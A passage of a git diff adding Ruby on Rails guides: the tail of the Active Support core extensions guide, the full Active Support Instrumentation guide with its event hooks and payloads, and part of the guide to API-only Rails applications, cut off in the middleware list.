+00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00 +now.all_month +# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 +now.all_quarter +# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 +now.all_year +# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +``` + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +#### `prev_day`, `next_day` + +In Ruby 1.9 `prev_day` and `next_day` return the date in the last or next day: + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.prev_day # => Fri, 07 May 2010 +d.next_day # => Sun, 09 May 2010 +``` + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +#### `prev_month`, `next_month` + +In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month: + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.prev_month # => Thu, 08 Apr 2010 +d.next_month # => Tue, 08 Jun 2010 +``` + +If such a day does not exist, the last day of the corresponding month is returned: + +```ruby +Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000 +Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000 +Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000 +Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000 +``` + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +#### `prev_year`, `next_year` + +In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year: + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.prev_year # => Fri, 08 May 2009 +d.next_year # => Sun, 08 May 2011 +``` + +If date is the 29th of February of a leap year, you obtain the 28th: + +```ruby +d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000 +d.prev_year # => Sun, 28 Feb 1999 +d.next_year # => Wed, 28 Feb 2001 +``` + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +#### `prev_quarter`, `next_quarter` + +`prev_quarter` and `next_quarter` return the date with the same day in the previous or next quarter: + +```ruby +t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300 +t.prev_quarter # => 2010-02-08 00:00:00 +0200 +t.next_quarter # => 2010-08-08 00:00:00 +0300 +``` + +If such a day does not exist, the last day of the corresponding month is returned: + +```ruby +Time.local(2000, 7, 31).prev_quarter # => 2000-04-30 00:00:00 +0300 +Time.local(2000, 5, 31).prev_quarter # => 2000-02-29 00:00:00 +0200 +Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300 +Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200 +``` + +`prev_quarter` is aliased to `last_quarter`. + +NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`. + +### Time Constructors + +Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`: + +```ruby +Time.zone_default +# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> +Time.current +# => Fri, 06 Aug 2010 17:11:58 CEST +02:00 +``` + +Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`. + +If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead. + +#### Durations + +Durations can be added to and subtracted from time objects: + +```ruby +now = Time.current +# => Mon, 09 Aug 2010 23:20:05 UTC +00:00 +now + 1.year +# => Tue, 09 Aug 2011 23:21:11 UTC +00:00 +now - 1.week +# => Mon, 02 Aug 2010 23:21:11 UTC +00:00 +``` + +They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform: + +```ruby +Time.utc(1582, 10, 3) + 5.days +# => Mon Oct 18 00:00:00 UTC 1582 +``` + +Extensions to `File` +-------------------- + +### `atomic_write` + +With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content. + +The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job. + +For example, Action Pack uses this method to write asset cache files like `all.css`: + +```ruby +File.atomic_write(joined_asset_path) do |cache| + cache.write(join_asset_file_contents(asset_paths)) +end +``` + +To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions. However there are a few cases where `atomic_write` cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it. + +NOTE. Due to the chmod operation `atomic_write` performs, if the target file has an ACL set on it this ACL will be recalculated/modified. + +WARNING. Note you can't append with `atomic_write`. + +The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument. + +NOTE: Defined in `active_support/core_ext/file/atomic.rb`. + +Extensions to `Marshal` +----------------------- + +### `load` + +Active Support adds constant autoloading support to `load`. + +For example, the file cache store deserializes this way: + +```ruby +File.open(file_name) { |f| Marshal.load(f) } +``` + +If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently. + +WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`. + +NOTE: Defined in `active_support/core_ext/marshal.rb`. + +Extensions to `NameError` +------------------------- + +Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument. + +The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully qualified constant name. + +TIP: A symbol can represent a fully qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically. + +For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases: + +```ruby +def default_helper_module! + module_name = name.sub(/Controller$/, '') + module_path = module_name.underscore + helper module_path +rescue LoadError => e + raise e unless e.is_missing? "helpers/#{module_path}_helper" +rescue NameError => e + raise e unless e.missing_name? "#{module_name}Helper" +end +``` + +NOTE: Defined in `active_support/core_ext/name_error.rb`. + +Extensions to `LoadError` +------------------------- + +Active Support adds `is_missing?` to `LoadError`. + +Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension). + +For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases: + +```ruby +def default_helper_module! + module_name = name.sub(/Controller$/, '') + module_path = module_name.underscore + helper module_path +rescue LoadError => e + raise e unless e.is_missing? "helpers/#{module_path}_helper" +rescue NameError => e + raise e unless e.missing_name? "#{module_name}Helper" +end +``` + +NOTE: Defined in `active_support/core_ext/load_error.rb`. diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md new file mode 100644 index 0000000000..5e68b3f400 --- /dev/null +++ b/guides/source/active_support_instrumentation.md @@ -0,0 +1,707 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Support Instrumentation +============================== + +Active Support is a part of core Rails that provides Ruby language extensions, utilities, and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired. + +In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code. + +After reading this guide, you will know: + +* What instrumentation can provide. +* The hooks inside the Rails framework for instrumentation. +* Adding a subscriber to a hook. +* Building a custom instrumentation implementation. + +-------------------------------------------------------------------------------- + +Introduction to instrumentation +------------------------------- + +The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the [Rails framework](#rails-framework-hooks). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. + +For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken. + +You are even able to create your own events inside your application which you can later subscribe to. + +Rails framework hooks +--------------------- + +Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below. + +Action Controller +----------------- + +### write_fragment.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +### read_fragment.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +### expire_fragment.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +### exist_fragment?.action_controller + +| Key | Value | +| ------ | ---------------- | +| `:key` | The complete key | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +### write_page.action_controller + +| Key | Value | +| ------- | ----------------- | +| `:path` | The complete path | + +```ruby +{ + path: '/users/1' +} +``` + +### expire_page.action_controller + +| Key | Value | +| ------- | ----------------- | +| `:path` | The complete path | + +```ruby +{ + path: '/users/1' +} +``` + +### start_processing.action_controller + +| Key | Value | +| ------------- | --------------------------------------------------------- | +| `:controller` | The controller name | +| `:action` | The action | +| `:params` | Hash of request parameters without any filtered parameter | +| `:headers` | Request headers | +| `:format` | html/js/json/xml etc | +| `:method` | HTTP request verb | +| `:path` | Request path | + +```ruby +{ + controller: "PostsController", + action: "new", + params: { "action" => "new", "controller" => "posts" }, + headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>, + format: :html, + method: "GET", + path: "/posts/new" +} +``` + +### process_action.action_controller + +| Key | Value | +| --------------- | --------------------------------------------------------- | +| `:controller` | The controller name | +| `:action` | The action | +| `:params` | Hash of request parameters without any filtered parameter | +| `:headers` | Request headers | +| `:format` | html/js/json/xml etc | +| `:method` | HTTP request verb | +| `:path` | Request path | +| `:status` | HTTP status code | +| `:view_runtime` | Amount spent in view in ms | +| `:db_runtime` | Amount spent executing database queries in ms | + +```ruby +{ + controller: "PostsController", + action: "index", + params: {"action" => "index", "controller" => "posts"}, + headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>, + format: :html, + method: "GET", + path: "/posts", + status: 200, + view_runtime: 46.848, + db_runtime: 0.157 +} +``` + +### send_file.action_controller + +| Key | Value | +| ------- | ------------------------- | +| `:path` | Complete path to the file | + +INFO. Additional keys may be added by the caller. + +### send_data.action_controller + +`ActionController` does not add any specific information to the payload. All options are passed through to the payload. + +### redirect_to.action_controller + +| Key | Value | +| ----------- | ------------------ | +| `:status` | HTTP response code | +| `:location` | URL to redirect to | + +```ruby +{ + status: 302, + location: "http://localhost:3000/posts/new" +} +``` + +### halted_callback.action_controller + +| Key | Value | +| --------- | ----------------------------- | +| `:filter` | Filter that halted the action | + +```ruby +{ + filter: ":halting_filter" +} +``` + +### unpermitted_parameters.action_controller + +| Key | Value | +| ------- | ---------------- | +| `:keys` | Unpermitted keys | + +Action View +----------- + +### render_template.action_view + +| Key | Value | +| ------------- | --------------------- | +| `:identifier` | Full path to template | +| `:layout` | Applicable layout | + +```ruby +{ + identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb", + layout: "layouts/application" +} +``` + +### render_partial.action_view + +| Key | Value | +| ------------- | --------------------- | +| `:identifier` | Full path to template | + +```ruby +{ + identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb" +} +``` + +### render_collection.action_view + +| Key | Value | +| ------------- | ------------------------------------- | +| `:identifier` | Full path to template | +| `:count` | Size of collection | +| `:cache_hits` | Number of partials fetched from cache | + +`:cache_hits` is only included if the collection is rendered with `cached: true`. + +```ruby +{ + identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb", + count: 3, + cache_hits: 0 +} +``` + +Active Record +------------ + +### sql.active_record + +| Key | Value | +| ---------------- | ---------------------------------------- | +| `:sql` | SQL statement | +| `:name` | Name of the operation | +| `:connection_id` | `self.object_id` | +| `:binds` | Bind parameters | +| `:cached` | `true` is added when cached queries used | + +INFO. The adapters will add their own data as well. + +```ruby +{ + sql: "SELECT \"posts\".* FROM \"posts\" ", + name: "Post Load", + connection_id: 70307250813140, + binds: [] +} +``` + +### instantiation.active_record + +| Key | Value | +| ---------------- | ----------------------------------------- | +| `:record_count` | Number of records that instantiated | +| `:class_name` | Record's class | + +```ruby +{ + record_count: 1, + class_name: "User" +} +``` + +Action Mailer +------------- + +### receive.action_mailer + +| Key | Value | +| ------------- | -------------------------------------------- | +| `:mailer` | Name of the mailer class | +| `:message_id` | ID of the message, generated by the Mail gem | +| `:subject` | Subject of the mail | +| `:to` | To address(es) of the mail | +| `:from` | From address of the mail | +| `:bcc` | BCC addresses of the mail | +| `:cc` | CC addresses of the mail | +| `:date` | Date of the mail | +| `:mail` | The encoded form of the mail | + +```ruby +{ + mailer: "Notification", + message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", + subject: "Rails Guides", + to: ["users@rails.com", "dhh@rails.com"], + from: ["me@rails.com"], + date: Sat, 10 Mar 2012 14:18:09 +0100, + mail: "..." # omitted for brevity +} +``` + +### deliver.action_mailer + +| Key | Value | +| --------------------- | ---------------------------------------------------- | +| `:mailer` | Name of the mailer class | +| `:message_id` | ID of the message, generated by the Mail gem | +| `:subject` | Subject of the mail | +| `:to` | To address(es) of the mail | +| `:from` | From address of the mail | +| `:bcc` | BCC addresses of the mail | +| `:cc` | CC addresses of the mail | +| `:date` | Date of the mail | +| `:mail` | The encoded form of the mail | +| `:perform_deliveries` | Whether delivery of this message is performed or not | + +```ruby +{ + mailer: "Notification", + message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail", + subject: "Rails Guides", + to: ["users@rails.com", "dhh@rails.com"], + from: ["me@rails.com"], + date: Sat, 10 Mar 2012 14:18:09 +0100, + mail: "...", # omitted for brevity + perform_deliveries: true +} +``` + +### process.action_mailer + +| Key | Value | +| ------------- | ------------------------ | +| `:mailer` | Name of the mailer class | +| `:action` | The action | +| `:args` | The arguments | + +```ruby +{ + mailer: "Notification", + action: "welcome_email", + args: [] +} +``` + +Active Support +-------------- + +### cache_read.active_support + +| Key | Value | +| ------------------ | ------------------------------------------------- | +| `:key` | Key used in the store | +| `:hit` | If this read is a hit | +| `:super_operation` | :fetch is added when a read is used with `#fetch` | + +### cache_generate.active_support + +This event is only used when `#fetch` is called with a block. + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +INFO. Options passed to fetch will be merged with the payload when writing to the store + +```ruby +{ + key: 'name-of-complicated-computation' +} +``` + + +### cache_fetch_hit.active_support + +This event is only used when `#fetch` is called with a block. + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +INFO. Options passed to fetch will be merged with the payload. + +```ruby +{ + key: 'name-of-complicated-computation' +} +``` + +### cache_write.active_support + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +INFO. Cache stores may add their own keys + +```ruby +{ + key: 'name-of-complicated-computation' +} +``` + +### cache_delete.active_support + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +```ruby +{ + key: 'name-of-complicated-computation' +} +``` + +### cache_exist?.active_support + +| Key | Value | +| ------ | --------------------- | +| `:key` | Key used in the store | + +```ruby +{ + key: 'name-of-complicated-computation' +} +``` + +Active Job +-------- + +### enqueue_at.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### enqueue.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### enqueue_retry.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:job` | Job object | +| `:adapter` | QueueAdapter object processing the job | +| `:error` | The error that caused the retry | +| `:wait` | The delay of the retry | + +### perform_start.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### perform.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | + +### retry_stopped.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | +| `:error` | The error that caused the retry | + +### discard.active_job + +| Key | Value | +| ------------ | -------------------------------------- | +| `:adapter` | QueueAdapter object processing the job | +| `:job` | Job object | +| `:error` | The error that caused the discard | + +Action Cable +------------ + +### perform_action.action_cable + +| Key | Value | +| ---------------- | ------------------------- | +| `:channel_class` | Name of the channel class | +| `:action` | The action | +| `:data` | A hash of data | + +### transmit.action_cable + +| Key | Value | +| ---------------- | ------------------------- | +| `:channel_class` | Name of the channel class | +| `:data` | A hash of data | +| `:via` | Via | + +### transmit_subscription_confirmation.action_cable + +| Key | Value | +| ---------------- | ------------------------- | +| `:channel_class` | Name of the channel class | + +### transmit_subscription_rejection.action_cable + +| Key | Value | +| ---------------- | ------------------------- | +| `:channel_class` | Name of the channel class | + +### broadcast.action_cable + +| Key | Value | +| --------------- | -------------------- | +| `:broadcasting` | A named broadcasting | +| `:message` | A hash of message | +| `:coder` | The coder | + +Active Storage +-------------- + +### service_upload.active_storage + +| Key | Value | +| ------------ | ---------------------------- | +| `:key` | Secure token | +| `:service` | Name of the service | +| `:checksum` | Checksum to ensure integrity | + +### service_streaming_download.active_storage + +| Key | Value | +| ------------ | ------------------- | +| `:key` | Secure token | +| `:service` | Name of the service | + +### service_download.active_storage + +| Key | Value | +| ------------ | ------------------- | +| `:key` | Secure token | +| `:service` | Name of the service | + +### service_delete.active_storage + +| Key | Value | +| ------------ | ------------------- | +| `:key` | Secure token | +| `:service` | Name of the service | + +### service_delete_prefixed.active_storage + +| Key | Value | +| ------------ | ------------------- | +| `:prefix` | Key prefix | +| `:service` | Name of the service | + +### service_exist.active_storage + +| Key | Value | +| ------------ | --------------------------- | +| `:key` | Secure token | +| `:service` | Name of the service | +| `:exist` | File or blob exists or not | + +### service_url.active_storage + +| Key | Value | +| ------------ | ------------------- | +| `:key` | Secure token | +| `:service` | Name of the service | +| `:url` | Generated url | + +Railties +-------- + +### load_config_initializer.railties + +| Key | Value | +| -------------- | ----------------------------------------------------- | +| `:initializer` | Path to loaded initializer from `config/initializers` | + +Rails +----- + +### deprecation.rails + +| Key | Value | +| ------------ | ------------------------------- | +| `:message` | The deprecation warning | +| `:callstack` | Where the deprecation came from | + +Subscribing to an event +----------------------- + +Subscribing to an event is easy. Use `ActiveSupport::Notifications.subscribe` with a block to +listen to any notification. + +The block receives the following arguments: + +* The name of the event +* Time when it started +* Time when it finished +* A unique ID for the instrumenter that fired the event +* The payload (described in previous sections) + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| + # your own custom stuff + Rails.logger.info "#{name} Received!" +end +``` + +Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event` +from block arguments like this: + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| + event = ActiveSupport::Notifications::Event.new *args + + event.name # => "process_action.action_controller" + event.duration # => 10 (in milliseconds) + event.payload # => {:extra=>information} + + Rails.logger.info "#{event} Received!" +end +``` + +You may also pass block with only one argument, it will yield an event object to the block: + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |event| + event.name # => "process_action.action_controller" + event.duration # => 10 (in milliseconds) + event.payload # => {:extra=>information} + + Rails.logger.info "#{event} Received!" +end +``` + +Most times you only care about the data itself. Here is a shortcut to just get the data. + +```ruby +ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| + data = args.extract_options! + data # { extra: :information } +end +``` + +You may also subscribe to events matching a regular expression. This enables you to subscribe to +multiple events at once. Here's you could subscribe to everything from `ActionController`. + +```ruby +ActiveSupport::Notifications.subscribe /action_controller/ do |*args| + # inspect all ActionController events +end +``` + +Creating custom events +---------------------- + +Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of +all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block. +The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times +and add the instrumenter's unique ID. All data passed into the `instrument` call will make +it into the payload. + +Here's an example: + +```ruby +ActiveSupport::Notifications.instrument "my.custom.event", this: :data do + # do your custom stuff here +end +``` + +Now you can listen to this event with: + +```ruby +ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data| + puts data.inspect # {:this=>:data} +end +``` + +You should follow Rails conventions when defining your own events. The format is: `event.library`. +If your application is sending Tweets, you should create an event named `tweet.twitter`. diff --git a/guides/source/api_app.md b/guides/source/api_app.md new file mode 100644 index 0000000000..85367c50e7 --- /dev/null +++ b/guides/source/api_app.md @@ -0,0 +1,425 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Using Rails for API-only Applications +===================================== + +In this guide you will learn: + +* What Rails provides for API-only applications +* How to configure Rails to start without any browser features +* How to decide which middleware you will want to include +* How to decide which modules to use in your controller + +-------------------------------------------------------------------------------- + +What is an API Application? +--------------------------- + +Traditionally, when people said that they used Rails as an "API", they meant +providing a programmatically accessible API alongside their web application. +For example, GitHub provides [an API](https://developer.github.com) that you +can use from your own custom clients. + +With the advent of client-side frameworks, more developers are using Rails to +build a back-end that is shared between their web application and other native +applications. + +For example, Twitter uses its [public API](https://developer.twitter.com/) in its web +application, which is built as a static site that consumes JSON resources. + +Instead of using Rails to generate HTML that communicates with the server +through forms and links, many developers are treating their web application as +just an API client delivered as HTML with JavaScript that consumes a JSON API. + +This guide covers building a Rails application that serves JSON resources to an +API client, including client-side frameworks. + +Why Use Rails for JSON APIs? +---------------------------- + +The first question a lot of people have when thinking about building a JSON API +using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I +just use something like Sinatra?". + +For very simple APIs, this may be true. However, even in very HTML-heavy +applications, most of an application's logic lives outside of the view +layer. + +The reason most people use Rails is that it provides a set of defaults that +allows developers to get up and running quickly, without having to make a lot of trivial +decisions. + +Let's take a look at some of the things that Rails provides out of the box that are +still applicable to API applications. + +Handled at the middleware layer: + +- Reloading: Rails applications support transparent reloading. This works even if + your application gets big and restarting the server for every request becomes + non-viable. +- Development Mode: Rails applications come with smart defaults for development, + making development pleasant without compromising production-time performance. +- Test Mode: Ditto development mode. +- Logging: Rails applications log every request, with a level of verbosity + appropriate for the current mode. Rails logs in development include information + about the request environment, database queries, and basic performance + information. +- Security: Rails detects and thwarts [IP spoofing + attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles + cryptographic signatures in a [timing + attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what + an IP spoofing attack or a timing attack is? Exactly. +- Parameter Parsing: Want to specify your parameters as JSON instead of as a + URL-encoded String? No problem. Rails will decode the JSON for you and make + it available in `params`. Want to use nested URL-encoded parameters? That + works too. +- Conditional GETs: Rails handles conditional `GET` (`ETag` and `Last-Modified`) + processing request headers and returning the correct response headers and status + code. All you need to do is use the + [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) + check in your controller, and Rails will handle all of the HTTP details for you. +- HEAD requests: Rails will transparently convert `HEAD` requests into `GET` ones, + and return just the headers on the way out. This makes `HEAD` work reliably in + all Rails APIs. + +While you could obviously build these up in terms of existing Rack middleware, +this list demonstrates that the default Rails middleware stack provides a lot +of value, even if you're "just generating JSON". + +Handled at the Action Pack layer: + +- Resourceful Routing: If you're building a RESTful JSON API, you want to be + using the Rails router. Clean and conventional mapping from HTTP to controllers + means not having to spend time thinking about how to model your API in terms + of HTTP. +- URL Generation: The flip side of routing is URL generation. A good API based + on HTTP includes URLs (see [the GitHub Gist API](https://developer.github.com/v3/gists/) + for an example). +- Header and Redirection Responses: `head :no_content` and + `redirect_to user_url(current_user)` come in handy. Sure, you could manually + add the response headers, but why? +- Caching: Rails provides page, action, and fragment caching. Fragment caching + is especially helpful when building up a nested JSON object. +- Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support + for three kinds of HTTP authentication. +- Instrumentation: Rails has an instrumentation API that triggers registered + handlers for a variety of events, such as action processing, sending a file or + data, redirection, and database queries. The payload of each event comes with + relevant information (for the action processing event, the payload includes + the controller, action, parameters, request format, request method, and the + request's full path). +- Generators: It is often handy to generate a resource and get your model, + controller, test stubs, and routes created for you in a single command for + further tweaking. Same for migrations and others. +- Plugins: Many third-party libraries come with support for Rails that reduce + or eliminate the cost of setting up and gluing together the library and the + web framework. This includes things like overriding default generators, adding + Rake tasks, and honoring Rails choices (like the logger and cache back-end). + +Of course, the Rails boot process also glues together all registered components. +For example, the Rails boot process is what uses your `config/database.yml` file +when configuring Active Record. + +**The short version is**: you may not have thought about which parts of Rails +are still applicable even if you remove the view layer, but the answer turns out +to be most of it. + +The Basic Configuration +----------------------- + +If you're building a Rails application that will be an API server first and +foremost, you can start with a more limited subset of Rails and add in features +as needed. + +### Creating a new application + +You can generate a new api Rails app: + +```bash +$ rails new my_api --api +``` + +This will do three main things for you: + +- Configure your application to start with a more limited set of middleware + than normal. Specifically, it will not include any middleware primarily useful + for browser applications (like cookies support) by default. +- Make `ApplicationController` inherit from `ActionController::API` instead of + `ActionController::Base`. As with middleware, this will leave out any Action + Controller modules that provide functionalities primarily used by browser + applications. +- Configure the generators to skip generating views, helpers, and assets when + you generate a new resource. + +### Changing an existing application + +If you want to take an existing application and make it an API one, read the +following steps. + +In `config/application.rb` add the following line at the top of the `Application` +class definition: + +```ruby +config.api_only = true +``` + +In `config/environments/development.rb`, set `config.debug_exception_response_format` +to configure the format used in responses when errors occur in development mode. + +To render an HTML page with debugging information, use the value `:default`. + +```ruby +config.debug_exception_response_format = :default +``` + +To render debugging information preserving the response format, use the value `:api`. + +```ruby +config.debug_exception_response_format = :api +``` + +By default, `config.debug_exception_response_format` is set to `:api`, when `config.api_only` is set to true. + +Finally, inside `app/controllers/application_controller.rb`, instead of: + +```ruby +class ApplicationController < ActionController::Base +end +``` + +do: + +```ruby +class ApplicationController < ActionController::API +end +``` + +Choosing Middleware +-------------------- + +An API application comes with the following middleware by default: + +- `Rack::Sendfile` +- `ActionDispatch::Static` +- `ActionDispatch::Executor` +- `ActiveSupport::Cache::Strategy::LocalCache::Middleware` +- `Rack::Runtime` +- `ActionDispatch::RequestId` +- `ActionDispatch::RemoteIp` +- `Rails::Rack::Logger` +- `ActionDispatch::ShowExceptions` +- `ActionDispatch::DebugExceptions` +- `ActionDispatch::Reloader` +- `ActionDispatch::Callbacks` +- `ActiveRecord::Migration::CheckPending` +- `Rack::Head` +- `Rack::ConditionalGet` +- `Rack::ETag` + +See the [internal middleware](rails_on_rack.html#internal-middleware-stack) +section of the Rack guide for further information on them. + +Other plugins, including Active Record, may add additional middleware. In +general, these middleware are agnostic to the type of application you are +building, and make sense in an API-only Rails application. + +You can get a list of all middleware in your application via: + +```bash +$ rails middleware +``` + +### Using the Cache Middleware + +By default, Rails will add a middleware that provides a cache store based on +the configuration of your application (memcache by default). This means that +the built-in HTTP cache will rely on it. + +For instance, using the `stale?` method: + +```ruby +def show + @post = Post.find(params[:id]) + + if stale?(last_modified: @post.updated_at) + render json: @post + end +end +``` + +The call to `stale?` will compare the `If-Modified-Since` header in the request +with `@post.updated_at`. If the header is newer than the last modified, this +action will return a "304 Not Modified" response. Otherwise, it will render the +response and include a `Last-Modified` header in it. + +Normally, this mechanism is used on a per-client basis. The cache middleware +allows us to share this caching mechanism across clients. We can enable +cross-client caching in the call to `stale?`: + +```ruby +def show + @post = Post.find(params[:id]) + + if stale?(last_modified: @post.updated_at, public: true) + render json: @post + end +end +``` + +This means that the cache middleware will store off the `Last-Modified` value +for a URL in the Rails cache, and add an `If-Modified-Since` header to any +subsequent inbound requests for the same URL. + +Think of it as page caching using HTTP semantics. + +### Using Rack::Sendfile + +When you use the `send_file` method inside a Rails controller, it sets the +`X-Sendfile` header. `Rack::Sendfile` is responsible for actually sending the +file. + +If your front-end server supports accelerated file sending, `Rack::Sendfile` +will offload the actual file sending work to the front-end server. + +You can configure the name of the header that your front-end server uses for +this purpose using `config.action_dispatch.x_sendfile_header` in the appropriate +environment's configuration file. + +You can learn more about how to use `Rack::Sendfile` with popular +front-ends in [the Rack::Sendfile +documentation](http://rubydoc.info/github/rack/rack/master/Rack/Sendfile). + +Here are some values for this header for some popular servers, once these servers are configured to support +accelerated file sending: + +```ruby +# Apache and lighttpd +config.action_dispatch.x_sendfile_header = "X-Sendfile" + +# Nginx +config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" +``` + +Make sure to configure your server to support these options following the +instructions in the `Rack::Sendfile` documentation. + +### Using ActionDispatch::Request + +`ActionDispatch::Request#params` will take parameters from the client in the JSON +format and make them available in your controller inside `params`. + +To use this, your client will need to make a request with JSON-encoded parameters +and specify the `Content-Type` as `application/json`. + +Here's an example in jQuery: + +```javascript +jQuery.ajax({ + type: 'POST', + url: '/people', + dataType: 'json', + contentType: 'application/json', + data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }), + success: function(json) { } +}); +``` + +`ActionDispatch::Request` will see the `Content-Type` and your parameters +will be: + +```ruby +{ :person => { :firstName => "Yehuda", :lastName => "Katz" } } +``` + +### Other Middleware + +Rails ships with a number of other middleware that you might want to use in an +API application, especially if one of your API clients is the browser: + +- `Rack::MethodOverride` +- `ActionDispatch::Cookies` +- 